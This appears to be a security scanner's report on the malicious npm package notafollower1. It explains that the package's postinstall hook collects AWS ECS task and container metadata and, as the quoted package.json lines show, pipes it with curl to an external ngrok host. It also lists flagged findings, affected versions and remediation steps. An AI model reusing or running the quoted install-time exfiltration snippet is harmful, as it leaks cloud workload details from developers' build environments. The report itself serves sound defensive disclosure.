registry / Credential exfiltration / notafollower1
notafollower1
This report shows the evidence for notafollower1@1.0.9. 14 of 14 known versions are blocked or flagged. The newest version, 1.0.13, is blocked. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe sole package behavior is an install-time cloud-metadata collection and external transmission chain, with no package functionality to justify it.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm postinstall during package installation.
Impact
Leakes cloud workload-identifying metadata from build or analysis environments.
Mechanism
ECS metadata collection piped to curl exfiltration.
Attack narrative
On installation, the lifecycle hook invokes Node to request the ECS container metadata task endpoint. It extracts container names, images, inferred owners, and the task ARN, prints them, then pipes that output to an external ngrok URL via curl.
AI rationale
The sole package behavior is an install-time cloud-metadata collection and external transmission chain, with no package functionality to justify it.
Evidence
package.json
Network endpoints1
mourner-slot-explicit.ngrok-free.dev
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- postinstall executes inline Node code during installation.
- It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint.
Evidence against
- Package contains only package.json; no legitimate runtime implementation or stated need for ECS metadata collection.
Behavioral surface
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task')
High
Suspicious Lifecycle Evidence
postinstall executes inline Node code during installation.
package.jsonView on unpkg · L55console.log('Container:',c.Name,'| Image:',img,'| Guessed owner:',owner,'| Task ARN:',data.TaskARN);})}).catch(e=>console.error(e))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"
High
Ai Review Evidence
It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint.
package.jsonView on unpkg · L5Findings
1 Critical3 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencepackage.json
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to notafollower1@1.0.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing notafollower1@1.0.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
14 known versions1.0.13latestMaliciousMalwareBlockPublishedAug 13, 2026, 10:26 PM1.0.12MaliciousMalwareBlockPublishedAug 13, 2026, 10:24 PM1.0.11MaliciousMalwareBlockPublishedAug 13, 2026, 10:20 PM1.0.10MaliciousMalwareBlockPublishedAug 13, 2026, 10:17 PM1.0.9shownMaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 10:09 PM1.0.8MaliciousData ExfiltrationBlockPublishedAug 13, 2026, 9:59 PM1.0.7MaliciousData ExfiltrationBlockPublishedAug 13, 2026, 9:52 PM1.0.6MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 9:45 PM1.0.5MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 9:37 PM1.0.4MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 9:33 PM1.0.3MaliciousData ExfiltrationBlockPublishedAug 13, 2026, 9:27 PM1.0.2MaliciousMalwareBlockPublishedAug 13, 2026, 9:22 PM1.0.1MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 9:20 PM1.0.0MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 9:08 PM